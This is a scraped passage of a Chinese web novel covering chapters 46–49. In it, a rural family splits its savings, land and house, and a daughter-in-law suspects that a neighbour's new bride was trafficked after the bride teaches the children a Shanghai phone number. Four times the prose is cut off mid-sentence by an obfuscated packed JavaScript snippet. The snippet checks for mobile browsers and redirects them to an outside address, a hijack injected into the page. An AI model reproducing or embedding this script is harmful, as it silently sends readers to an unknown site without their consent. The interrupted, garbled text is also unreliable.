而且只要老人一直活着,这笔钱就一直有,白得一笔横财,哈哈! 46. 第 46 章 跟宁绍贤的窃喜不同。 宁绍德听完脸色却不太好看,心里不由埋怨老三多事。 原本不管是按照老规矩给父母养老,还是按照他爸妈提出的养老方式。 等他们无法自理后,去谁家就是谁家负责伺候,他哪需要给什么看护费? 他家只需要在老人生病的时候,平摊医药费,偶尔回来探望一下就行。 最多每个月再给老人点生活费,但农村老人的生活费才几个钱? 梁文建看宁家老二脸色不对,抢在他说话前,笑着对宁家老两口说:“宁老哥,你觉得你家绍明的提议怎么样?我看他这一补充,你们老两口以后的养老更有保障了。” 宁达当然是非常满意的:“我也觉得好,老三这孩子,从小就懂得为父母着想,孝顺。” 人上了年纪最怕什么?当然是怕子女不孝、不管自己。 他们夫妻俩算计这么多是为了什么?还不是为了自己老了之后能过得更好、更自在! 宁达很想以后跟老婆子换换,让老婆子去老大家,自己去老三家。 可惜老婆子最疼小秋,不怎么喜欢老大家的两个孩子,也不喜欢老大媳妇儿。 以前家里是老婆子当家,老大媳妇儿不敢跟她呛声,以后可不一定了,老三媳妇好歹讲点道理,所以她肯定不愿意去老大家。 至于老二家,他们老两口从来没想过要去他家。 毕竟老二夫妻俩常年在县城,而他们老两口在镇上生活几十年,不愿意离开熟悉的环境,更无法习惯县城的日子。 更别说老二只有一个闺女,以后老二夫妻俩的养老怎么办还不知道,哪能顾得上他们? 宁达看了欲言又止的老二一眼,转头问黄秀华:“你觉得呢?” 黄秀华擦掉眼角残留的眼泪,清了清嗓子说:“我当然也同意,接下来让他们兄弟三个商量吧,要是还不同意这个方法,那就别分家了,等我们老两口都死了再分!这种情况以前也不是没有。” 最偏向自己的父母都愿意,宁绍德再不乐意也不好再提出意见,毕竟这个方法也不是对他完全没有好处。 他父母结婚早,生孩子也早,现在还不到六十,而且身体健康,看起来还能干十来年的活,至少可以帮衬他十年。 这次两个闹得最凶的都没意见,分家这事终于回到正轨,成为梁文建说的那样,好办的情形。 老两口一共有八千多存款,他们这一代人,经历过好几次社会巨变,吃大锅饭的时候,几乎家家户户都不富裕。 黄秀华当大队长那时,一个月也就几块到十几块钱的补贴。 后来实行家庭联产承包责任制,分到土地,日子比以前好过很多,但也是除了田地,没有别的收入来源。 他们又要养孩子、供二儿子读书、建房子、买宅基地,还要给儿子娶媳妇儿。 到最小的宁绍明也结婚后,他们才开始能攒下一点钱。 尤其是宁绍明去砖厂工作后,每个月把一半工资给家里,家里的现钱才多起来。 更别说后来他们夫妻俩去打工,每个月还寄回来四百块钱。 黄秀华节省,一个月最多花两百,时不时补贴老大家一百。 一年下来,减掉一月份老三夫妻俩刚出去,没拿到工资的这个月,剩下的十一个月,她足足攒下一千多。 其他人不知道这些,只知道老人能攒下这么多钱,已经比很多老人都厉害了。 镇上有些人家,一家子所有钱凑在一起,也不一定能有三千块呢! 梁文建和村委的几个人,看到他们老两口拿出来那么多钱都很惊讶。 他们见过一些跟宁家条件差不多的人家分家,老人拿出来的存款最多的一家,也就四千多将近五千块钱。 老人不习惯把钱存在银行,黄秀华回房没一会儿,就拿着一个铁皮饼干盒子出来了,钱都藏在这盒子里。 她把里面的整钞拿出来,数了数:“家里的钱全在这里了,零钱我就不拿出来分了,整钞一共八千六百块。” 然后将钱交给宁达,宁达自己数过一次,再让梁文建数一次。 梁文建数完确认:“八千六百块钱,金额没错。”然后还给宁达。 宁达又数出一千六百块钱:“这一千六是我们老两口留给自己的养老钱,你们没意见吧?” 最后那句是看向三个儿子问的。 三人都摇头说:“没意见。” 宁绍德还说:“爸妈,你们多留些钱傍身也行。” 黄秀华听到这话很欣慰,但还是摇头:“我们老两口平时也用不了多少钱,留一点棺材本就行了,再多的钱也比不上孩子有孝心。” 宁达附和:“是这个理。”说着把分出来的一千六交给梁文建,让他再次确认。 梁文建数了一遍点头:“是一千六百块钱整。”再次还回去。 宁达紧接着数出三千八百块钱,再次递过去给梁文建确认。 接着他看向宁绍贤和宁绍德:“绍明在分房上吃了亏,他还要建房,所以在钱上面多给他一点补上,分给他三千八百块钱,你们可有意见?” 两人都摇头说:“没意见。” 他们心里很清楚,这年头物价不如以前便宜,那三千多,哪怕也建砖瓦房,也建不起来老宅这样的院子的一半。 老三说打算建平房,就算他只建两个睡觉的房间,不建堂屋,再加上一个厕所外加一个小厨房吧,也得自己往里再贴三千多。 这还不包括家具和一些过日子要用的锅碗瓢盆等零零散散的东西。 别看那些零散的东西不起眼,平时需要的时候,零零星星地买一两样也不贵。 但破家值万贯,一下子置办齐全,也要花不少钱。 梁文建把钱数好,交给宁绍明:“你再数一遍,确认一下。” “好。”宁绍明应了一声,认真数一遍,“没问题,刚好三千八百。” 数完他就交到了赵如月手上。 剩下的钱,宁绍贤和宁绍德一人分了一千六。 接着就是家里的土地和粮食,宁绍德户口转到了单位,他的单位又是事业单位,不能分村里的地,所以分地分粮食都没他的分。 不过宁达和黄秀华要自己住,目前暂时不需要几个儿子照顾,他们想自己种地。 所以家里的地和粮食,甚至菜地,依然平均分成三份。 剩下的就是一些过日子用的锅碗瓢盆,还有零零碎碎的东西,当初是谁买的就归谁,是谁的嫁妆也归谁。 宁绍明的房子还没建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740429|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成,在建成之前,他们一家暂时先跟宁达老两口住着,也就是依然住在他们现在的房间。 不过东西分好,一大家子也要在一起团圆过年,往后老人还在时,过年过节也要一起吃团圆饭。 等到年后,再彻底拆伙各家自己做饭,如果宁绍明一家还跟着他们一起吃饭,得提前给黄秀华粮食和菜钱。 后面分的这些东西速度很快,天色擦黑,王海燕做好饭没多久,分家这个事就进入了尾声。 分家协议写清楚,各自签字盖章。 村委再给宁家三兄弟开证明,等年后镇政府的工作人员上班,他们带着证明去就能去办个新的户口本。 终于完事,各人都松了一口气。 王海燕适时出来叫人:“饭已经做好了,快进去吃饭吧,几天辛苦梁叔和村委的几位了,等下让我家那个敬你们几杯!” 众人推让几回,一起往宁家厨房走去,厨房面积不小,两个桌子也摆得下。 王海燕确实也摆了两桌,喝酒的男人一桌,不喝酒的女人和孩子们一桌,两个桌上的菜都一样。 黄秀华随着大家一起走进去的时候,脸上还带着笑。 看到桌上的菜色,她脸上的笑顿时将在了脸上,沉怒的目光隐晦地看向王海燕,又转向赵如月。 最后定在商量分家期间,一直没出厨房的王海燕身上。 黄秀华刚才就注意到了大儿媳嘴巴边上没抹干净的油光,以她只是嘴馋躲在厨房偷吃。 没想到刚分家,她就敢背着自己做这种事! 感受到婆婆的死亡凝视,王海燕紧张得身上汗毛都竖起来了。 偏偏她儿子还夸张地大声说着:“妈,今天我们家提前过年了?这桌菜看起来比过年还丰盛!” “有的吃还堵不住你的嘴。”王海燕恨不得过去锤他一拳。 “能吃到这么多好菜,你得好好感谢你三叔,肉都是他买的。”为避免婆婆真不顾场合骂自己,让自己在外人面前下不来台,王海燕拐着弯提醒婆婆,那些肉花的可不是她的钱。 说完这句,婆婆的眼神果然离开自己,转而看向赵如月。 赵如月像是什么都不知道一样,带着她的两个孩子坐下,只顾着照顾孩子吃饭。 还抽空叮嘱宁绍明:“你别喝太多,不然明天起来又要头疼,我们明天还要早点起来去一趟县城呢。” 黄秀华原本打算晚点等客人吃完饭离开,找机会说这两个儿媳一顿。 听到赵如月的话,她立刻放弃了这个决定。 家里过年的东西还没买齐,骂了老三媳妇儿,老三肯定要恼。 他生起气来,虽然不能对她这个当妈的怎么样,但他一犯倔,真可能什么都不买,摆着空手回家。 黄秀华忍了这口气,问赵如月:“你们俩明天去县城做什么?” 赵如月:“提前去定下建房要用的建材,等年后人家开工,也好早点送来。” “嗯,提前去定也挺好,你们去县城定好建材,顺便去一趟县城的那个大菜市场,买点家里过年要用的东西,那里东西齐全。” 黄秀华当着一桌人的面说这话,就是笃定有外人在场,老三媳妇儿不敢直接驳回自己的话,让外人觉得她刚分家,就对婆婆不尊重、不孝顺。 47. 第 47 章 赵如月有时候真不知道该怎么形容自己这婆婆。 说她精明吧,她有时又犯蠢,说她蠢吧,她也会算计。 就像现在,她不会以为分家到这里就真结束了吧? 赵如月瞥了她一眼说:“是该买。” 这话一出,别说跟她同一桌吃饭的王海燕和叶菁惊讶,她竟然这么容易就答应下来了? 连黄秀华也惊了一下,她还以为老三家的会觉得不公平,闹腾一下。 万一闹大了,大不了再让三家一起买,反正不花自己的钱就行。 儿子们交上来给她的那一份过节费,她就可以自己攒下来,当压箱底的养老钱。 毕竟为了能顺利分家,她跟老伴儿说出了自己住的时候,暂时不需要儿子们养。 以后他们老两口能摸到的粮食少了,老三给的那份钱也没了,她当然要精打细算,不想出过年买东西的钱。 赵如月不动声色地看一眼她们的反应,继续说道:“妈,麻烦你跟我仔细说说过年的习俗,分家后我们就要各家自己准备贡品拜神了,今年第一次单独准备所有过年的东西,我担心自己想不周全。 现在正好人齐,同样的东西,你也不用跟我们妯娌三个重复说三次了,要是方便的话,能把年头到年尾的节日习俗都说一遍最好了,我记下来,避免以后出错。” 黄秀华一改刚才的高兴,越听越觉得不对劲。 王海燕心急口快:“三弟妹,爸妈不是说,今年一起团圆过年,年后再正式各自开伙吗?你这是打算买东西只自家用,过年也自己过啊?” 赵如月一副‘你可真是错怪了我’的表情。 “大嫂,我可没说要自己过,既然爸妈发话了,那过年的团圆饭,肯定得在一起吃。 但这不是分家赶上过年了么,我们正好可以跟妈从头到尾地学一学过年习俗,顺便在拜神的时候告诉祖宗们,家里今年开始分家了,以后我们祭拜祖先就代表各自的小家。 要不然清明去祭祖,我们各自带着贡品去,祖宗们知道是怎么回事啊?” 叶菁认为赵如月太过迷信,什么跟祖宗说,他们能听到才怪,祖宗真能听到他们的话,为什么不保佑她家发财? 她看向婆婆,想看婆婆怎么反驳赵如月,可婆婆却一声不吭。 黄秀华不是没注意到二儿媳的眼神,但她不想管,反正不要她花钱,一个儿媳出钱和三个儿媳出钱,对她来说没什么两样。 之前只叫老三家的买,只是看他们夫妻俩今年挣得多,比较大方,又比较好说话。 而老大家,老大这个人混不吝,她的话从来是不听的,她干脆直接越过了老大家。 老二家,则是觉得老二两口子看起来工作光鲜,实则挣钱很少,过得也不容易。 叶菁觉得赵如月迷信,她却不知道,王海燕才是真正有点迷信的。 赵如月为了找借口让三家都出钱,这么一说,王海燕就觉得很有道理。 “没错没错,既然分家在年头,当然得现在趁着过年的机会,跟祖宗们说一说。 要不选别的时间说,还要重新准备贡品,没有贡品香烛纸钱这些给各路神仙开道,我们的话哪能传到祖宗们耳朵里?” 叶菁这会儿看老大一家都不顺眼,王海燕说完她立马反驳:“那照你说的,需要贡品香烛纸钱这些开道,只准备一份东西不也能跟祖宗们说,何必要三份?” 王海燕一脸不赞成地看着她:“你这就是不懂事了,分家就跟树大分枝一样,表示家族人口越来越多,越来越兴旺了,只准备一份东西,去跟祖宗们说家里越来越兴旺了,祖宗们怎么会信?我们都各自准备一份,祖宗们保佑的时候才能精准保佑到自家!” 她的语气变得颇为语重心长,教育起叶菁来:“你信我,这种事真不能小气,能多准备东西,最好就别吝啬,能准备好的,就别拿差的将就,你别嫌我这个大嫂多事,我说这些也是为你们好,自家人我才愿意说这么多的。” 叶菁心想:我呸!你可少来了,什么自家人,谁跟你自家人! 另外两个妯娌可不管她怎么想的,二对一,她不愿意也得愿意。 赵如月立刻跟王海燕把这事定下:“那大嫂,我们就说好了,各自准备自家的东西。” “好!”王海燕忙不迭地点头,心里已经在盘算该买些什么。 赵如月却又皱起了眉头:“只是拜神要用到的鸡,不知道爸妈愿不愿意杀三只。” 家里的二十几只鸡是老两口养的,王海燕因为时不时帮忙喂,分到了几只,还剩下二十只,全归老两口。 赵如月顿了顿,继续说:“妈不愿意也没事,我可以回娘家问问,我妈养的鸡也特别好。” 黄秀华听到赵如月提起她娘家就是一激灵。 她终于记起来,他们分家没遵守当年承诺这事,还没过亲家那关。 想不让赵家人来闹,还得老三媳妇儿去哄。 这会儿黄秀华想起自己刚刚仗着辈分高做的事,冷汗都要冒出来了。 不禁在心里暗自庆幸,自己刚才只说了那么一句,后来没反驳老三媳妇儿的意思。 要不然,把她惹急了,她回娘家说分家的事时耍心眼子的话。 哪怕他们家已经签了分家协议,赵家人来闹,他们老两口的棺材本也不一定能保得住。 而且等她以后干不动活,是要去老三家过日子的,得罪老三媳妇儿对她来说没好处。 黄秀华忙道:“几只鸡而已,自家养的又不花钱,说什么愿不愿意,没得让人以为我多小气,你们三家每家两只,除夕那天自己去后院鸡栏里选,看上哪只杀哪只。” 不等赵如月说话,王海燕已经喜滋滋地说:“谢谢妈!” 她生怕自己准备的东西被比下去,以后祖宗偏心另外两家,最主要的贡品:鸡,是自家养的真是太好了。 她平时有空也帮忙喂鸡,最知道哪只最好。 在这上面省了一笔,王海燕觉得其他贡品可以买更好点的了。 她忙问赵如月:“三弟妹,你们明天去县城,能不能帮我捎带点东西?我吃完饭就给你拿钱。” 这回她可不是空口白话说说而已了,是真打算拿钱的。 反正分家刚拿到一千多块钱,哪怕只拿出来两百置办东西,她都能保证做得比婆婆好,把这个年过得比以前更体面! 赵如月没拒绝:“可以,你最好给我列个单子,不然我怕我忘记,不过东西也别太多,我们带着孩子,可能拿不了太多东西。” “怎么还要带孩子去啊?小孩子走不动路,还得你们抱,多麻烦!” 宁时秋和宁时夏听到妈妈说要带他们一起去县城,还没来得及高兴,就听到大伯娘劝她别带他们去。 两个孩子立马紧张地看向妈妈。 宁时秋:“我力气大,不会累,要是妹妹累了,我也背得动妹妹。” 宁时夏:“我力气也大,我才不会累。” 旁边宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为他爸平时的棋友里就有个开修车铺的老头。 那老头以前在县城国营厂运输队工作,不管是四个轮子的、三个轮子的还是两个轮子的,人家都会修。 之前他的车真有个地方要修,他爸带他去找那老头,人家都没收钱。 还说以后他去修车,只要不是大问题,就只按进货价收零件钱。 也就是说,不需要换零件,只需要修一修的小问题,他自己去人家也不会收他的钱,他在镇上修车,根本没理由找别人修却不找他爸的朋友。 宁绍明终于在他嘴里听到实话,心情很复杂,亲兄弟之间,怎么就变成了这样? 赵如月往这边桌看了一眼,本来想看看闺女吃得怎么样了,却看到丈夫眼神似乎有点难过。 想了想说道:“爸,不用二哥那车也行,我今天去我三叔家看他,正好听到我堂哥说他的车子明天不用,我就跟他借了。” 宁达点头:“也行,你们用完车记得给人家把油箱加满,来得及的话最好送去洗洗,来不及就自家擦洗一下,新年呢,得让人家的车也干干净净的过年。” 其他人都没觉得这对话有什么问题。 宁绍德听在耳朵里,心里却在想:老三媳妇儿是不是因为借不到他的车,话里有话地讽刺他这个亲哥还不如她的堂哥? 48. 第 48 章 宁绍明很快就把那些复杂的心绪抛到脑后,好好招待客人。 这顿饭十几斤的卤肉让所有人都能敞开了吃,除了宁绍德一直在对那句话耿耿于怀,其他人都吃得很尽兴。 一直吃到晚上七点多散场,赵如月在婆婆隐晦的催促下,带着两个孩子出门消食。 顺便溜达到自己娘家,把分家的事告诉她娘家人。 她爸妈刚开始听说他们分到的是空宅基地,确实不太高兴。 但他们不是那种讲不通道理的老人。 赵如月认真地把自己跟宁绍明的打算,一一告诉两位老人,他们听完也就慢慢接受了。 只是仍然对他们只分到三千多块钱有些不满。 “才不到四千块钱,能干什么?你们老宅分出来的小院子,最少值□□千,慢慢卖能卖到一万出头,想买还没人卖!那老两口肯定还藏着钱没拿出来!” 赵如月劝道:“毕竟我们想早点分家,只能吃点亏了,不然继续混着住下去,对谁都不好,尤其是两个孩子,我可不想跟他们分隔两地了。” 邓细妹说:“在老宅那边不是更适合做生意?” 赵如月也不好把以后那边的发展跟她说。 只推说:“我怀疑我公婆根本没跟她家老二说过,当初答应你们的事,绍明说他爸分房子的时候,他分到空宅基地,大哥和二哥一点都不惊讶,一脸理所当然要这么分的样子。 我们真要那小院子,分家这事怕是没那么顺利,我跟绍明都不想跟他们在这事上掰扯,毕竟以前他们答应那事,也没写个什么协议。” 当然这只是赵如月的怀疑,她也没证据。 不过现在这是不是真的,对她来说已经无所谓了,分家后过好自己的日子才是第一位。 邓细妹恨恨地唾弃:“那两个老东西!要不是看在绍明是个好的,对你和孩子们都好,人也上进,我可饶不了那俩可恶的老家伙!” 赵斌听了女儿的劝,也想通了。 跟着她一起劝老妻:“现在小月和绍明顺顺当当地把家分了,自己当家做主,过他们自己的小日子也挺好,你就别生气了,住得那么近,低头不见抬头见的,看在绍明和两个孩子的面子上,见了面也别给他们老两口脸色。” 邓细妹:“我知道,我就在自家气一气,那老两口不管怎么样,对我们闺女还算不错,没对我们家小月大小声过,以前隔三差五就见亲家母骂她家老大媳妇儿,我还担心小月嫁过去也遭罪来着。” 赵斌笑着说:“我们俩还没死,她敢欺负我们闺女?” 赵如月呸呸呸了几声:“什么死不死的,现在日子越来越好了,爸您可得长命百岁,往后还有更好的日子,您要是享受不到,多亏呀!” 她爸上过学,平时也喜欢看看书、看看报纸,当年刚允许私人买卖,他就是镇上第一批敢挑着农产品摆摊卖的人,后来也是他劝着三叔开医馆,三叔记着这份情对他们兄弟姐妹几个都很好,连带着对她的孩子都多有照顾。 她爸妈买卖做得好的时候,还开过店。 不过后来她哥生了一场病,为了治病把店卖了。 赵如月觉得他爸要是能活到手机电脑普及的那个年代,接受智能手机和电脑的速度,可能比上辈子的她还要快。 没准还能跟孩子们一起玩游戏呢! 跟父母聊了一会儿,赵如月看天色还早,出去把两个孩子找回来,一手牵着一个,打着手电筒回家。 走到半路,遇到来接他们的宁绍明,两个小的又说想去他们新家那块地玩。 宁绍明也由着他们,赵如月只好也跟着一起去了。 那宅基地附近是个小树林,只有宅基地所在的这一片被清理出来,成为了空地。 目前只有宁家在这里买了宅基地,等到往后两三年,镇上他们这个年纪,家里还拖着没分家的拖不下去。 越来越多的人分家出来,把宅基地申请在这边,这里会慢慢发展成一条新街。 天上的月亮亮堂堂的,不用手电筒都看得清路。 两个孩子在宅基地上欢笑着疯跑了一圈,气喘吁吁地回到父母身边。 宁时夏牵着赵如月的手,指着一块地方说:“妈妈,以后我给你和爸爸买的四轮车,放在那边。” 宁时秋不甘示弱:“那我给爸爸妈妈买的放在那边。” 赵如月又感动又觉得好笑,这两个孩子还没放弃给她买车呢? 算了,赵如月想,那就顺着孩子哄哄他们吧。 “好好好,妈妈等着你们给我们买,天色不早,该回家了,今晚早点休息,明天还要早起去县城玩,谁要是起不来,我可不等他。” 宁绍明出门前,已经提前烧好了洗澡水。 回到家,刚好可以洗澡。 家里没有热水器,想洗澡只能用家里的大锑锅烧水。 又费时间又费劲,家里人多,想年节都需要洗澡的时候,轮流洗澡都要轮很久。 赵如月边从大锑锅里往水桶里舀水,边想着明天去县城要顺便去看看热水器,不知道现在那种储水式电热水器有没有上市。 要是没有的话,就只能用燃气热水器了,现在的燃气热水器貌似也只有三挡温度可调节,不好调到最合适的温度,而男人女人洗澡时喜欢的温度不一样,大人和小孩子也不一样。 即热式电热水器赵如月倒是可以确定已经有了。 但是她又觉得,它虽然可以随意调节温度,但不够安全。 所以总的来说,还是可以随意调节各种温度,又比即热式电热水器安全的储水式电热水器比较合适家庭使用。 给两个孩子洗好澡,自己也洗过后,赵如月把热水器也加入购物清单里,以免自己忘记。 然后把自家的购物单和大嫂的购物单跟钱一起,放进明天要背去县城的包里。 一家四口洗漱后躺下休息,宁时夏照旧窝在妈妈怀里。 赵如月看两个孩子刚躺下还有点兴奋,她就想着给他们讲个故事,哄哄他们睡觉。 正准备开口,却听到女儿叽里咕噜地念出一串话。 赵如月觉得怪可爱的,轻轻捏了捏女儿的脸蛋:“悄悄念什么呢?” 宁时夏得意地说:“我跟新娘阿姨学的魔法咒语,新娘阿姨说我是最聪明、学得最快的孩子!” “什么新娘阿姨?” “就是大姨家的亲戚,我们隔壁的隔壁的隔壁……嗯反正就是办酒席那家的新娘阿姨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765954|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵如月以为是自己大姐带她去的:“你大姨今天那么有空?” 宁时夏:“不是大姨带的,大姨忙着干活,是鑫阳哥说带我们去抢喜糖,我们一群小孩一起去的。” “妈妈,我教你念魔法咒语!”宁时夏在被子底下兴奋地蹬腿。 然后就被她哥镇压了:“你给我老实点,热乎气都要被你蹬没了!” 宁时夏老实了,不到三秒跟个小毛毛虫一样蛄蛹过去:“哥哥我也教你。” 宁时秋无语:“谁要你教,我也会。” “那你念给我听,我看对不对。” “不念,你又不是老师,干嘛念给你听。” 宁时夏表示不跟哥哥一般见识:“哼,那我念给妈妈听,妈妈我教你!” 赵如月笑眯眯地说好。 “那我开始啦,ZeroTwoOneSixTwo……” 宁时夏念第一遍的时候,赵如月还没觉得有什么不对劲。 等到女儿要求她跟着一起念,赵如月自己念了一遍,终于感觉有点不对。 这怎么感觉好像是英文,而且似乎是一串号码。 女儿年纪小,刚上学前班,可能不知道意思,只会学着音调念。 赵如月就让儿子也念一次给自己听。 儿子上学早,已经三年级了,他们这小地方,三年级才开始教英语。 宁时秋念完就说:“我觉得这个跟老师教我们的英文数字很像,可是那个新娘阿姨不是脑子有毛病吗?怎么也会英文?” 赵如月说:“可能她跟电视上学的吧。” 当初赵如月听到姐姐赵如艳说,没见到新娘家户口本,暂时先办酒不领证,就觉得有点不对劲。 只是她那时有自己的一堆事要忙,顾不上深想。 现在那样的感觉更明显了。 按说那位新娘已经二十多了,不存在年龄不够的问题。 他们又说送新娘来的那几个人,是新娘的娘家人,既然那姑娘的家人想把女儿嫁出去,找个人负责她的一生,难道不更应该把婚姻关系从法律上做实? 这些想法,赵如月没跟两个孩子说。 等他们睡熟了,她才小声问宁绍明:“打电话,是不是都要在电话号码面前加上区号?我记得电话号码一般是七位数,区号是四位数,对吧?” 宁绍明不知道她怎么突然问这个:“应该是吧,总共十一位数。” 赵如月默默数了几遍邻居家新娘教女儿的‘魔法咒语’:“没准还真是……” “真是什么?”宁绍明不解地问。 “你不觉得那个新娘教给孩子们的那串数字,像个电话号码吗?你记不记得哪个地方的区号,是02开头?” “这我哪会刻意去记,我就记得我们自己的,只能确定,那不是我们所在省份的区号,你要不查查电话簿?电话簿里开头那两页有各个地方的区号。” “我去看看。”赵如月说着就要起身,去找电话簿看看。 宁绍明忙拦住她:“你忘了,电话簿在大哥大嫂的房间,大晚上的过去不太好,先睡觉,明天我起床就去帮你看看。” “我还真忘了,”赵如月重新躺下,“那先睡觉吧,明早你可别忘了。” 49. 第 49 章 赵如月惦记着那串号码,第二天早上,她一大早就醒了。 然而宁绍明起得比她还要早一些,听到赵如月起床的动静。 他走进来,从口袋里掏出一张纸:“给,02开头的区号,只有这一个,我还是第一次注意到有三位数的区号。” “竟然是沪市的区号……”赵如月感觉有些意外。 沪市跟他们这里根本挨不着边。 宁绍明看她感兴趣,提议道:“你要是实在好奇,要不你去打打看那串号码能不能打通?反正也花不了多少钱。” “不行,不能在家里打。”赵如月担心,万一真是自己想的那样,那些人查到自家,自家人会被报复。 他们家里还有小孩子,孩子们习惯了在村里到处跑,他们也不能一反常态不让他们出去玩。 “那就这么算了?”宁绍明太了解赵如月了,“不打一次电话,你肯定会一直惦记。” “没说算了,等我们到县城,随便买张电话卡,用公用电话亭打。”赵如月不知道是不是该庆幸,现在县城几乎没有监控。 用于在公用电话亭打电话的电话卡,也不是实名制的。 随便买一张,用完一扔,谁也不知道是谁用过。 宁绍明也隐约觉得有点不对劲了,结合那个新娘的情况,他大概知道赵如月是什么想法。 他虽然看不惯那样的事,但更不希望自己的家人,因为插手在这种事里,受到伤害。 宁绍明想了想说:“我听小夏说过好几次,羡慕她在学校认识的小朋友去过市里的动物园,要不带他们去市里的动物园玩一趟? 可以下午再回县城买东西,晚点回家也没关系,我们骑车去县城,不怕回来的时候赶不上回镇上的末班车” 他没明说,夫妻之间的默契也让赵如月明白了他的意思:“也好,两个孩子能去动物园,肯定高兴坏了。” 宁时夏起来得跟她爸一样早,宁绍明给她洗漱后,换上了新衣服,她特地就抱着小板凳跑到门口坐着等。 她的小伙伴们来叫她去玩,她也不去,装出为难的样子,以为自己炫耀得不明显,实则很明显地炫耀爸爸妈妈要带自己去县城玩的事。 “哎呀,今天不行,我爸说了,新衣服不能弄脏,弄脏就不带我去县城玩了。” 听到小伙伴‘哇’了一声,羡慕地说:“你爸爸妈妈真好,去县城买过年的东西,竟然还愿意顺便带你一起去。” 宁时夏噘着嘴纠正小伙伴的话:“我爸爸妈妈才不是要去县城买过年的东西,才顺便带我去玩,他们说是特地带我们去玩,顺便买东西。” 听到她这话,小伙伴又哇了一声。 宁时秋也换好了衣服,拿着妹妹的小背包出来,看到这一幕,真是服了这小丫头:“别跟人吹牛了,快点背上这个,爸爸妈妈昨晚上教你的东西还记得吗?” “当然记得了!”宁时夏从小伙伴的夸夸圈中心站起来,跑过去,在哥哥的帮助下背上妈妈给她买的双肩小背包。 宁时秋不放心:“那你再背一遍给我听听。” 没想到宁时夏还急着昨晚上他不背魔法咒语给自己听的仇:“不背,你又不是老师,干嘛背给你听!” 宁时秋:“……” “那算了,看来有人也不是很想让我给她买孙悟空的小卡纸。” “我背,我背,哥哥你别走!”宁时夏立马拉住他。 “好吧,”宁时秋转身,装作勉为其难的样子说,“要一次性背出来,没有错误才行哦。” 宁时夏拍拍胸口,非常自信地说:“我肯定一遍过!” “你好好听着,可别走神啊,我要开始啦! 第一、走丢了找不到大人,要找警察叔叔帮忙,不能随便跟别人走;第二、不能吃别人给的东西;第三、要记住自己和家人的名字,还有家里的地址和电话号码,我的名字叫宁时夏,家庭地址和电话是……” 一连背了十条,一点错误都没有。 宁时秋满意地点头:“不错不错,要是今天出门遇到那十条里的事,你能按照爸爸妈妈教的那样做,我就买两份数码宝贝的小卡纸,回到家就送给你一份,要是不能遵守,可就没有了。” 宁时夏问:“如果遇不到呢?” “遇不到也给你。” “好!”宁时夏觉得那简直是小事一桩,开开心心地答应了下来。 房间里,赵如月和宁绍明检查好出门要带的东西,正准备出门。 黄秀华忙叫住宁绍明:“老三,你记得别忘了带上存折,趁着今天还能寄钱,赶紧早点把要分给别人的那份钱寄过去。” 要不她总是不放心,过年都要提心吊胆,怕人家找上门来要钱,让她全家一起丢人。 她不说宁绍明还真差点忘了这回事,敷衍道:“放心吧,我带上了。” 这事等晚上他们回来,跟他妈说一声,钱已经寄给别人,就算过去了,反正她也不会要求一定看到汇款单,好糊弄得很。 一家四口没在家吃早饭,先一起出门到集市上过早,又买了些包子和豆浆油条,才往赵如月娘家去。 她娘家跟她三叔家黏在一起,共用一堵墙,当年这两个院子,也是老宅分出来的小院子。 赵如月去借她堂哥的车总不能空手去,给他买别的东西,他估计也不会收,干脆就给三叔家和自己娘家都买了早饭。 这下可把两家的孩子都乐坏了。 赵如月堂哥家条件比较好,他的小孩虽然平时隔三差五就能吃到,但他每次只能吃一样。 这还是第一次豆沙包、菜包、肉包、豆浆、油条都一起吃到,那小胖子还乐颠颠地问她:“如月姑姑,你以后可以多来借几次车吗?” 然后被他爸在脑门上敲了一记。 拿到车钥匙,一家四口开开心心地骑着摩托车往县城开。 中途路过镇上的客运站,看到那里乌泱泱一堆人在等往公交车上挤。 拉客的五菱宏光每一辆都寄了超过十个人。 赵如月很庆幸借到了堂哥的车,要不带着孩子,还不知道什么时候才能等到去县城的车。 她心里默默把买车加到了购物清单上,今年他们刚换完欠的债,又要建房,还要开店,再买车的话就太惹眼了。 镇上的人平时看着不错,但也多得是背地里恨人有笑人无的人。 太惹眼有可能就会有人暗戳戳使绊子,还是先顺顺当当地把房子建起来,把店开起来,让自家的店在镇上站稳脚跟。 等到明年或者今年的下半年,再看看能不能给自家添一辆车。 小车近几年内是别想了,近些年买都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774414|153824||http|test|mini|href|location''.split(''|''),0,{})); () { 